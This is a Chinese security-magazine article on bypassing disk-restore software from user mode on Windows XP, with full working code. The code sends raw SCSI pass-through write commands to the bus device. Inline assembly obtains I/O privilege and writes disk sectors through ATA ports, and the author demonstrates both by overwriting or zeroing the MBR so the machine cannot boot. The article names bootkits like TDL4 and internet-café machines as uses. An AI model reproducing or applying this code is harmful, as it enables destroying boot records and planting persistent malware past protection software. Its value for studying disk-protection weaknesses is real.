Ring3下穿透磁盘还原技术的揭秘
前置知识:VC
关键词:磁盘还原,还原精灵,注册表
图/文 liuke_blue
在写这篇文章之前我犹豫了很久,到底要不要把这些鲜为人知的方法公开了,因为一旦公开,被人掌握这些技术,那么还原软件的脆弱性则一览无遗,网吧的机子应该就可以随便地穿透,机器狗是需要加载驱动来进行穿透还原,而我介绍的这种技术不需要加载驱动便可以穿透还原,你是不是听得有点兴奋,有点热血沸腾;但是我还是要告诉你,技术是一把双刃剑,利用得好是安全软件,利用得邪恶就是木马、病毒等;作为一名黑客防线的读者,我相信都是希望立志成为一名网络安全员,为中国互联网的安全纯洁尽一份绵薄之力。题外话就不说了,下面切入正题。
记得我最早接触的还原软件是还原精灵,是台湾地区一家软件公司出品的安全软件,它最大的神奇之处就在于计算机重启之后,你对计算机磁盘的所有操作:添加、删除、修改文件、注册表的这些痕迹全部被抹得一干二净,所有的操作都随着计算机重启而“消失了”。还有就是有一种硬件还原卡也起到相同的效果。当时在学校的机房里,想装点自己的东西,总是不行,因此我记得当时最流行的手段——过还原精灵就是破解其密码,破解密码后,重新修改还原精灵的配置,就可以使自己读/写磁盘有效,当时由于自己还不会内核驱动开发,也不知道还原软件的原理,只是觉得太不可思议了。现在由于自己开始学习内核编程,对还原软件的原理有一定的了解,还原软件主要解决数据读/写重定向问题以及重定向读/写的效率,目前的还原软件主要有两种:单点还原、多点还原。以后有时间我再给各位分享自己这方面的学习研究结果。自Windows 64位的操作系统开始,微软意识到其自身内核安全的问题,加入了PatchGuard技术,这个技术能够防止内核模式驱动动态或者替换Windows内核的任何内容;也就是说:SSDT HOOK、inline HOOK、IAT HOOK、EAT HOOK、IDT HOOK等,只要是修改了内核模块的任何部分,就会蓝屏。也就是Windows 64位操作系统在内核里封锁了HOOK技术(应用层下仍然可以使用),也就是我们以前学习的HOOK技术无用了,那不是白学习了,你先别急着愤怒,应该愤怒的是所有的安全软件公司,你想想现在几乎所有的安全软件都在内核中使用了HOOK技术,而且都是通过自己反汇编、底层调试等手段研究出来的,这些核心技术一声不响就被微软封杀,你说它恼不恼火,虽然微软也意识到这个问题,随后提供一些监控的接口,但是这又使所有安全软件的很多功能雷同了,难道微软想把安全这一块留给自己,这现实吗?x86的许多木马确实无法在x64的机器上运行,但是新的问题出现了:TDL4这类病毒完全绕过你的PatchGuard,它通过底层读/写将自己写在MBR里,也就是BOOTKIT技术,在你的PatchGuard还未启动时,写入ROOTKIT驱动,从而隐藏保护自身等。这样完全绕过了所谓的PatchGuard技术。说那这么多,跟Ring3穿透还原有什么的关系?其实我想说的就是TDL4将自身写入到MBR里,用到的就是穿透技术,如何将自身写入磁盘所保护的位置,这就是关键。由于自身技术和环境的限制,我还不能给大家介绍64位下的穿透,因此这次给大家介绍的是32位Windows XP系统下的穿透技术。
这些技术来源于MJ0011在XCON(国内最大的安全焦点会议)2008的一篇文章tophet.a,搞安全的没有几个人不认识MJ0011,此人目前就职于360,号称360首席技术工程师,其犀利的言论和深不可测的技术被我们小菜鸟所惊奇,特别是他时不时就爆出其他安全软件:瑞星、微点、金山等甚至微软的Exploit并且在各大安全论坛内不停地指点和抨击。我常常在想每个人每天只有24个小时,为什么他能完成这么多事,我却不行,难道不吃不喝还是可以制造出大量的“影分身”。开个玩笑,从技术上来说他确实相当厉害,而其他就无需多言了,不过中国的互联网本身就是混沌的情况,3Q还能大战,一切皆有可能。
首先介绍如何在Ring3下通过构造SCSI指令来穿透还原软件。还原软件的核心技术就是数据读/写重定向和重定向后的数据读/写效率的问题,还原软件的驱动一般是磁盘类设备过滤驱动和卷设备过滤驱动。卷设备驱动、磁盘类设备驱动、总线设备驱动,是从上至下的顺序的排列的设备堆栈,最底层是总线设备(也就为端口驱动设备),这个从上至下的并不是理论上的垂直,我这样解释只是方便我们理解,下面是装有还原软件-讯闪(很多网吧用这个)的设备堆栈示意,如图1所示。
图1
这里sndisk+0x128d是调用线程读/写队列函数的后一条指令,而sndisk+0x744c是线程读/写队列函数体里面执行IoCallDriver函数的后一条指令,还原过滤驱动先于磁盘类设备驱动或者卷驱动对IPR进行处理,通过获取的IRP取得读/写指令、读/写数据的位置、长度、读/写数据内容等,然后通过一系列复杂的处理(比如:计算读/写的重定向的磁盘簇的位置),重新封装好刚刚处理的IRP,然后把它通过IoCallDriver转发下去,不管是单点还是多点磁盘还原软件都是用这种方式,不同的是如何计算重定向的位置,不影响读/写效率等。以后我会将自己的学习研究成果与大家一起分享的。我们观察图1,发现因为构造的SCSI指令直接发送总线设备,这就绕过了还原过滤驱动以及一些读/写函数HOOK的拦截,这就是穿透还原的真正原理。开始编写代码之前,必须解决两个核心问题:1、如何得到总线设备的符号连接,因为应用程序是通过符号连接来访为驱动设备的,这里我们采取WinObj软件的方式,如图2所示,并且使用 CreateFile函数打开设备;2、如何封装SCSI指令,该指令的核心就是CDB命令描述块的结构,使用DeviceControl函数来发送SCSI指令。
图2
其核心的代码如下:
ULONG GetFuncAddressFromNtdll() { HMODULE hModule; hModule=GetModuleHandleA("ntdll.dll"); NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT) GetProcAddress(hModule,"NtOpenDirectoryObject"); if (!NtOpenDirectoryObject) return 0; hModule=GetModuleHandleA("ntdll.dll"); NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT) GetProcAddress(hModule,"NtQueryDirectoryObject"); if (!NtQueryDirectoryObject) return 0; hModule=GetModuleHandleA("ntdll.dll"); NtOpenSymbolicLinkObject = (NTOPENDIRECTORYOBJECT) GetProcAddress(hModule,"NtOpenSymbolicLinkObject"); if (!NtOpenSymbolicLinkObject) return 0; hModule=GetModuleHandleA("ntdll.dll"); NtQuerySymbolicLinkObject = (NTQUERYSYMBOLICLIN KOBJECT)GetProcAddress(hModule,"NtQuerySymbolicLink Object"); if (!NtQuerySymbolicLinkObject) return 0; return 1; } //得到物理磁盘对应的总线设备的符号链接,也就是对应的微端口驱动 ULONG QueryDR0SymbollinckName(IN PWSTR DeviceName) { HANDLE Openhandle; NTSTATUS status; ULONG result; result=0; /* L"DosDevices"对应的符号连接"\\??"-->来自Winobj 逆向 L"\\SystemRoot"对应的符号连接 "\\Device\\Harddisk0\\ Partition1\\Windows" */ //判定是否找到是物理磁盘对应的总线设备的符号链 接,这里用"IDE#Disk"来判定 if (!wcsstr(DeviceName,L"IDE#Disk")) return 0; else { result=1; } return result; } ULONG GetBusDeviceName() { NTSTATUS status; UNICODE_STRING ObjectName; OBJECT_ATTRIBUTES oa ; HANDLE OpenObject; ULONG BufferLength=0x800; PCHAR Buffer; ULONG uContext; ULONG uResult; ULONG ncount=0; PDIRECTORY_BASIC_INFORMATION pDirObjectinfo = NULL; WCHAR ObjName[0x100]={0}; ULONG Result; Result=0; INIT_UNICODE_STRING(ObjectName,L"\\GLOBAL??"); InitializeObjectAttributes(&oa,&ObjectName, OBJ_CASE_ INSENSITIVE, NULL, NULL); status = (NtOpenDirectoryObject)(&OpenObject,DIRECTORY_ QUERY,&oa); if (!NT_SUCCESS(status)) return Result; do { BufferLength*=2; Buffer = (PCHAR)malloc(BufferLength); memset(Buffer,0,BufferLength); status = (NtQueryDirectoryObject)(OpenObject,Buffer, BufferLength,FALSE, TRUE, &uContext, &uResult); }while(status == STATUS_MORE_ENTRIES || status == STATUS_BUFFER_TOO_SMALL); if (NT_SUCCESS(status)) { pDirObjectinfo = (PDIRECTORY_BASIC_INFORMATION )Buffer; //这里取第一个objectname while(pDirObjectinfo->ObjectName.Length!=0 && pDirObjectinfo-> ObjectTypeName.Length!=0) { wcscpy(ObjName,pDirObjectinfo->ObjectName.Buffer); if (QueryDR0SymbollinckName(ObjName)==1) { Result =1; wcscpy(BusDevSymbolicName,L"\\\\.\\"); wcscat(BusDevSymbolicName,ObjName); OutputDebugStringW(BusDevSymbolicName); break; } pDirObjectinfo++; ncount++; memset(ObjName,0,0x100); } } if (Buffer) free(Buffer); return Result; } ULONG bypasswrite_disk(HANDLE hDev,PVOID InDataBuf, ULONG LBA) { ULONG blockCount=1; SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER sptdwb; ULONG length=0,returnlength=0; ULONG result; result = 1; if (hDev==INVALID_HANDLE_VALUE) return result; ZeroMemory(&sptdwb, sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER)); sptdwb.sptd.Length = sizeof(SCSI_PASS_THROUGH_ DIRECT); sptdwb.sptd.PathId = 0; sptdwb.sptd.TargetId = 1; sptdwb.sptd.Lun = 0; sptdwb.sptd.CdbLength = CDB12GENERIC_LENGTH; sptdwb.sptd.SenseInfoLength = sizeof(sptdwb.ucSenseBuf); sptdwb.sptd.DataIn = SCSI IOCTL DATA OUT; sptdwb.sptd.DataTransferLength = blockCount * 512; //这里读写一个扇区 sptdwb.sptd.TimeOutValue = 5000; sptdwb.sptd.DataBuffer = (VOID *)InDataBuf; //输入的buffer,空间为0x200 sptdwb.sptd.SenseInfoOffset = offsetof(SCSI_PASS_THROUGH_DIRECT_WITH_ BUFFER,ucSenseBuf); sptdwb.sptd.Cdb[0] = SCSIOP_WRITE; sptdwb.sptd.Cdb[1] = 0x00; sptdwb.sptd.Cdb[2] = (UCHAR)((LBA >> 24) & 0xFF); sptdwb.sptd.Cdb[3] = (UCHAR)((LBA >> 16) & 0xFF); sptdwb.sptd.Cdb[4] = (UCHAR)((LBA >> 8) & 0xFF); sptdwb.sptd.Cdb[5] = (UCHAR)((LBA >> 0) & 0xFF); sptdwb.sptd.Cdb[6] = 0x00; sptdwb.sptd.Cdb[7] = (UCHAR)((blockCount >> 8) & 0xFF); sptdwb.sptd.Cdb[8] = (UCHAR)((blockCount >> 0) & 0xFF); sptdwb.sptd.Cdb[9] = 0x00; length = sizeof(SCSI_PASS_THROUGH_DIRECT_ WITH_BUFFER); result = DeviceIoControl(hDev,IOCTL_SCSI_PASS_ THROUGH_DIRECT,&sptdwb,length,&sptdwb,length,&return length,FALSE); if (result!=0) { OutputDebugString("Passthough ok!"); CloseHandle(hDev); result=0; return result; } CloseHandle(hDev); return result; } int main(int argc,char* argv[]) { ULONG result; HANDLE hDevice; char buffer[100]={0}; char outbuffer[200]={0}; ULONG StartLBA; BYTE Inbuffer[0x200]={0}; printf("ByPass Disk Revert for test....\n"); if (argc!=3) { printf("Usage:Passthough <StartLBA(x)> <select {YES or NO} >\n"); } if (!stricmp((char *)argv[2],"YES")) { if (GetFuncAddressFromNtdll()) { result=GetBusDeviceName(); if (result) { //开始构造 IOCTL_SCSI_PASS_THROUGH_DIRECT指令来穿透还原 hDevice = CreateFileW(BusDevSymbolicName,GENERIC_ ALL,FILE_SHARE_READ|FILE_SHARE_READ,NULL,OPE N_EXISTING,0,0); if (hDevice) { sprintf(buffer,"%s0x%x","获取总线设备符 号连接的设备句柄:",hDevice); OutputDebugString(buffer); //开始穿透还原测试 StartLBA = (ULONG)(atoi(argv[1])); printf("StartLBA=%d\n",StartLBA); memset(Inbuffer,0x38,0x200); printf("Start ByPass Write!\n"); result=bypasswrite_disk(hDevice,Inbuffer,StartLBA); if (!result) { sprintf(outbuffer,"%s%d%s","穿透磁盘 成功,起始第<",StartLBA,">个扇区被写入数据,自行查看!"); OutputDebugString(outbuffer); return 2; } } } } } return 0; }
使用编写好的穿透还原的程序进行测试,环境:Windows XP SP3 + 讯闪还原软件,对MBR整个扇区的内容进行写入测试,效果如图3所示。
图3
计算机重启之后,MBR丢失,效果如图4所示:
图4
这里IOCTL_SCSI_PASS_THROUGH_DIRECT、IOCTL_SCSI_ PASS_THROUGH这两条指令差不多,区别是如果不调用IOCTL_SCSI_ PASS_THROUGH,那是因为基本的微端口。
驱动访问内存,调用的CDB命令描述块可能需要直接访问内存,使用IOCTL_SCSI_PASS_THROUGH_DIRECT来代替。我翻译得有点拗口,解释一下:就是如果CDB的命令描述块要求直接访问内存,那么就用IOCTL_ SCSI_PASS_THROUGH_ DIRECT而不是IOCTL_SCSI_ PASS_THROUGH。如果你还不能理解,请去找一些SCSI相关资料阅读一下,所以你用IOCTL_ SCSI_PASS_ THROUGH也可以,修改一下sptdwb.sptd. DataBuffer,因为IOCTL_SCSI_PASS_THROUGH是没有使用到buffer的指针。网上某人说:Mjoo11给出tophet.a文档中给出的部分代码没用,有好几个暗桩。拜托你自己再仔细看看SCSI的资料,因此MJOO11留言狠狠地挖苦了他,有兴趣的读者可以去网上搜一下《RING0和RING3穿透还原..》。还要说最重要的一句,使用者必须具有Adminstrator以上权限才可以使用SCSI写入权限。
接着我再介绍在Ring3下直接I/O的方式,也有几个条件:1、System权限;2、然后调用ZwSetInformationProcess给操作进程设置I/O操作的权限,也就是设置参数IOPL。如何让进程具有System权限,有几种方法:父进程具有System权限,那么创建子进程也会继承权限;父线程具有System权限,那么创建的子线程也可以继承该权限;添加 ACL 的方法;创建服务进程,自动就有System权限;HOOK ZwCreateProcessEx 函数等等。
我采用创建服务进程,然后在服务进程创建子进程,让其继承父进程的System权限即可,下面是直接读/写I/O来清零MBR的核心代码:
OOL IsSystemLevel() { BOOL result=FALSE; OSVERSIONINFO osv; CHAR username[30]={0}; DWORD cb=30; ZeroMemory(&osv,sizeof(osv)); osv.dwOSVersionInfoSize=sizeof(osv); //判断操作系统是否为NT以上 GetVersionExA(&osv); if (!(osv.dwPlatformId &VER_PLATFORM_WIN32_NT)) { result = FALSE; return result; } //判断用户是否是Administrator GetUserNameA(username,&cb); OutputDebugStringA(username); if (stricmp(username,"system")) { result = FALSE; return result; } return 1; } //进程获取system的权限后,设置IOPL=TRUE,可以在 User MOde操作I/O端口 BOOL EnableUserModeHardwareIO() { BOOL result=FALSE; DWORD dwProcessID=GetCurrentProcessId(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ ACCESS,FALSE,dwProcessID); HMODULE hNTDLL = GetModuleHandleA("ntdll.dll"); DWORD ZwSetInformationProcess_Address; ULONG IOPL=1; if (hNTDLL) { ZwSetInformationProcess_Address = (DWORD) GetProcAddress(hNTDLL,"ZwSetInformationProcess"); if (ZwSetInformationProcess_Address) { result =IsSystemLevel(); if (result) { __asm{ pushad push 4 lea eax,IOPL push eax push 16 push hProcess call ZwSetInformationProcess_Address mov result,eax popad } if (!result) result =TRUE; } } } CloseHandle(hProcess); return result; } //用I/O端口读写磁盘,将磁盘的前8个扇区清0 int UsermodeByPass() { asm{ write: mov dx,1F6h //要写入的磁盘号及磁头号 mov al,0x00 out dx,al mov dx,1F2h //要写入的扇区数量 mov al,1 out dx,al mov dx,1F3h //要写的扇区号 mov al,1 out dx,al mov dx,1F4h //要写的柱面的低8位 mov al,0 out dx,al mov dx,1F5h //柱面高2位 mov al,0 out dx,al mov dx,1F7h //命令端口 mov al,30h //尝试写入扇区 out dx,al inputs: in al,dx test al,8 jz short inputs xor ecx,ecx mov cx, 100h mov dx, 1F0h lea esi,[inbuf] cli cld rep outsw sti } shutdownsys(); return 0; } int shutdownsys() { _asm mov dx,0x64 asm mov al,0xFE _asm out dx,al return 0; }
使用ZwSetInformationProcess设置参数IOPL的值为TRUE时,进程就具有I/O操作权限,记得去年我写的黑防一篇文章<<内核编程读/写CMOS>>,黑防迷们不知道还有没有印象,里面就提到过CPL<=IOPL时,就可以读/写I/O,CPL代表内核模式为0,应用层模式为3;因此CPL=0<=IOPL一定成立。每个进程都有EPROCESS->KPROCESS,PCB里面的参数Iopl如果为TRUE,那么EFLAGS 寄存器中IOPL 值为3,即CPL=3<=IOPL,所以关键就在于使得条件CPL<=IOPL成立,那么就可以读/写I/O,所以在内核和应用层里读/写I/O其实是一样的,只是为了能够有读/写I/O权限,其他代码就不过多阐述了。如何读/写磁盘跟dos编程读/写一样,在寄存器里设置读/写位置、大小(扇区为单元),然后用out、in来操作,为了防止关机时,某些还原软件会通过关机回调函数来恢复MBR,因此直接I/O关机。环境:WinXP SP3+还原精灵7,如图5所示是效果示意图。
图5
重启后,MBR被清0,无法进入系统,效果跟前面使用SCSI指令穿透效果一样。不过这种方式已经被很多安全软件所监控到,权限提升,意图太明显,I/O读/写文件的通用性不好。
RING3下穿透还原的技术肯定不止这两种,核心技术就是想办法绕过还原过滤驱动,将读/写指令往更底层的驱动下发送,当然由于Windows操作系统的封闭性(不开源)、隐蔽性(内藏很多特性未公开)、脆弱性(程序漏洞)等等,很多黑客如果研究到了某一块,发现某些特性正好可以用来穿透还原,也未可知也;早先国内大牛猪头三就放出一个穿透bin,由于加了多层变态壳,我也没有分析出其穿透还原的原理,以后有机会或者有谁能研究出结果不妨也放在黑客防线上交流一下。另外,国外某些知名黑客论坛也有公布这方面的信息,老外的技术确实很强;还有一些病毒、木马的技术也来源于此,技术永远在日新月异地更新,这篇文章我确实写了很长时间,虽然代码早已写出,但是要将原理讲透彻、把复杂问题简单化有时确实很难,谢谢各位黑防读者,仓促之间本文难免有些不足之处,欢迎批评指正!
(编辑提醒:本文涉及的代码可以到黑防官方网站下载)